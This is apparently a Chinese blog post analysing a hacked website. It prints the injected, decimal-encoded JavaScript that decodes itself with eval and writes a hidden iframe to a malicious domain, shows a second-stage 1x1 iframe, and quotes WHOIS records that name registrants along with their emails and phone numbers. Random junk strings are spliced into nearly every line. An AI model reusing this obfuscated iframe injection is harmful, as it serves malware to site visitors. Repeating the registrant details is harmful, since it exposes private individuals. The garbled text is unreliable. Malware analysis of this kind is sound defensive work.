首发在我的博客里面，
F=Z|Ji# qxG @Zd http://www.areway.cn/?p=175 -uqJ~g D Hwklk9U [IF3 ,C 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
'{QbjG%<P 4Wk/^*? <script>t=’60,105,102,114,97,109,101,
#q9jF W8 32,115,114,99,61,104,116,116,112,58,47,47,
zPWG^ 102,114,101,101,46,117,45,117,117,117,46,99,
>1T=Aw2Z. 110,47,101,114,114,111,114,46,104,116,109,
C]K@SN$ 32,119,105,100,116,104,61,49,48,48,32,104,
2TmQaDu%b 101,105,103,104,116,61,48,62,60,47,105,102,
{jcrTjmxe 114,97,109,101,62′;
[m Jc c t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
L 9Z:>i? L qMH]W <script>t=’60,105,102,114,97,109,101,32,115,
]MfT5#(6h 114,99,61,104,116,116,112,58,47,47,102,114,
PZKKbg2 S 101,101,46,117,45,117,117,117,46,99,110,47,
ox{)O/aj 101,114,114,111,114,46,104,116,109,32,119,
jAfUz7@ 105,100,116,104,61,49,48,48,32,104,101,105,
AVGb;)x# 103,104,116,61,48,62,60,47,105,102,114,97,
{1'X S,2 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
iyc}a6g document.write(t);</script>
`22F@JYN ;yqJEj_m( <html xmlns=”
=S4_^UY; http://www.w3.org/1999/xhtml j5 |PQOK “>
D0v! fF ~ <head>
0rxlN
[Yp <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
HY~\e|o <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
dMCV
!$ <title>首页 - 爱生活家庭网
5Z ] `n 0yfmQ=,X 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
&7,Kv0 j} 转换字符串后的大概内容是（谁点击后果自付）：
CSRcTxH <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
z ,87;4- }N#jA yp! 查询玉米u-uuu.cn的详细信息：
s7tNAj bgD Domain Name: u-uuu.cn
15 x~[?! ROID: 20070901s10001s64972306-cn
d2&sl(O Domain Status: ok
`][~0\Y3m Registrant Organization: 王雷
J )oa:Q Registrant Name: 王雷
cT`x,2 Administrative Email:
czlovexs@126.com (zwxrOS Sponsoring Registrar: 北京万网志成科技有限公司
D@rOX (m Name Server:ns.yovole.com
eY"y[ Name Server:ns1.yovole.com
`E8m> q Ss Registration Date: 2007-09-01 17:54
eVj r/nm Expiration Date: 2008-09-01 17:54
2BS2$#c> 最后PING了一下地址 都没有什么….
S)C =Q~& T12?'JL^r 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
n9<QSX&~ < <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
e]!C
Aj7uS <script language=”javascript” src=”
P+:FiVj@~ http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script &1ASWllD >
kn 5q1^ 这个玉米应该有可能是木马作者的：
T#DJQ"$ foafau.info的详细信息：
mLd=+&M Access to INFO WHOIS information is provided to assist persons in
UtIwrR[ determining the contents of a domain name registration record in the
QzT ) PtX Afilias registry database. The data in this record is provided by
;-~ Wfh+ Afilias Limited for informational purposes only, and Afilias does not
'vgw>\X( guarantee its accuracy. This service is intended only for query-based
?y> xC|kt access. You agree that you will use this data only for lawful purposes
Se9I1~mX and that, under no circumstances will you use this data to: (a) allow,
:aV(i.LW
enable, or otherwise support the transmission by e-mail, telephone, or
O _yJR facsimile of mass unsolicited, commercial advertising or solicitations
9IIQ on to entities other than the data recipient’s own existing customers; or
<:-|>R". (b) enable high volume, automated, electronic processes that send
@2v L'6 queries or data to the systems of Registry Operator, a Registrar, or
sOa`T k Afilias except as reasonably necessary to register domain names or
#[ vmS modify existing registrations. All rights reserved. Afilias reserves
r50} j the right to modify these terms at any time. By submitting this query,
>k<.bEx(A you agree to abide by this policy.
@
eqVu g Domain ID:D22418703-LRMS
Us+|L |/ Domain Name:FOAFAU.INFO
r V<yM$IA Created On:20-Nov-2007 16:05:42 UTC
2P`hdg
Last Updated On:20-Nov-2007 16:05:44 UTC
36` aG Y Expiration Date:20-Nov-2008 16:05:42 UTC
^2mmgN Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
/0s1q Status:CLIENT DELETE PROHIBITED
x/ { Status:CLIENT RENEW PROHIBITED
BT: = Status:CLIENT TRANSFER PROHIBITED
8c`g{
*z Status:CLIENT UPDATE PROHIBITED
AFGWlC#` Status:TRANSFER PROHIBITED
S) Sv4Q m Registrant ID:GODA-040110615
.t.H(Q9 Registrant Name:liu hong
3;Kv9i<~LE Registrant Organization:
,)hUL/r6 Registrant Street1:beijing
uhSRl~tn Registrant Street2:
j2} C Registrant Street3:
{wih)XNY Registrant City:beijing
=>-:o:Cu{ Registrant State/Province:
j +\I4oFN Registrant Postal Code:100000
?w`uv9NUJ8 Registrant Country:CN
\`;FL\1+W Registrant Phone:+86.860108888777
|y)R lb# d Registrant Phone Ext.:
K{B[(]( Registrant FAX:
DNcf2_m Registrant FAX Ext.:
v
AP)(I Registrant Email:bbbshiji@163.com
#WwQ^6ESc Admin ID:GODA-240110615
d&&^_0O Admin Name:liu hong
4ZrX= e, Admin Organization:
hC4##pAa Admin Street1:beijing
rbS67--] Admin Street2:
8G`fSac` Admin Street3:
}BlVLf%C Admin City:beijing
u7ZSs-LuHw Admin State/Province:
wo5"f}vd# Admin Postal Code:100000
v~[=|_{ Admin Country:CN
v3x_8n$C9 Admin Phone:+86.860108888777
dqwAQ-x Admin Phone Ext.:
Z)<ljW Admin FAX:
_Isju
S Admin FAX Ext.:
;f#%0W{": Admin Email:bbbshiji@163.com
L,*2t JcC< Billing ID:GODA-340110615
tPIT+1. ]z Billing Name:liu hong
FU kO$jnO Billing Organization:
OE]z C Billing Street1:beijing
NVU @m+m ~ Billing Street2:
7pH(_-T F Billing Street3:
\-a^8{.^E Billing City:beijing
vz #VW Billing State/Province:
`of 5h* k Billing Postal Code:100000
lCLz!k2di Billing Country:CN
k"Y9Kc0XoU Billing Phone:+86.860108888777
7tP?([o%F Billing Phone Ext.:
9G_bM(q'^2 Billing FAX:
8VQJUwf; Billing FAX Ext.:
Gu}|CFL\ Billing Email:bbbshiji@163.com
/.9j$iK# Tech ID:GODA-140110615
;)s$Et% Tech Name:liu hong
3? iRf6;n Tech Organization:
E;.<'t> Tech Street1:beijing
~KHGh29 Tech Street2:
,#hS#?t Tech Street3:
ZgQ4~s Tech City:beijing
+ kP)T(6 Tech State/Province:
#|k;nFJ Tech Postal Code:100000
qL.1N~$2 Tech Country:CN
VC5LxA0{ Tech Phone:+86.860108888777
j9)P3=s Tech Phone Ext.:
Fi vgOa Tech FAX:
6d& dB Tech FAX Ext.:
3`uv/O2~i Tech Email:bbbshiji@163.com
secD
` ] Name Server:NS27.DOMAINCONTROL.COM
_TfG-Ae Name Server:NS28.DOMAINCONTROL.COM
U\a.'K50F Name Server:
jq:FDyOAW Name Server:
F$ QN>wPpM Name Server:
B{$4s8 XU Name Server:
j&,,~AZm Name Server:
A ; 7p Name Server:
0O<g) %Vz> Name Server:
xpCzx=n3.m Name Server:
+EjH9;gx Name Server:
=cI -<0QSn Name Server:
0h/gqlTK1 Name Server:
T;K@3]FbX E/2 kX 3} 接着下载每个文件里面的代码：
O32p8AxEz 一步一步看..
'Vq
<;.A 
Dg3S n|!f 
RAYDl=} 
f1w&D ]|S+ 
rOQ@(aUAZ 
&6<>hqR^ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
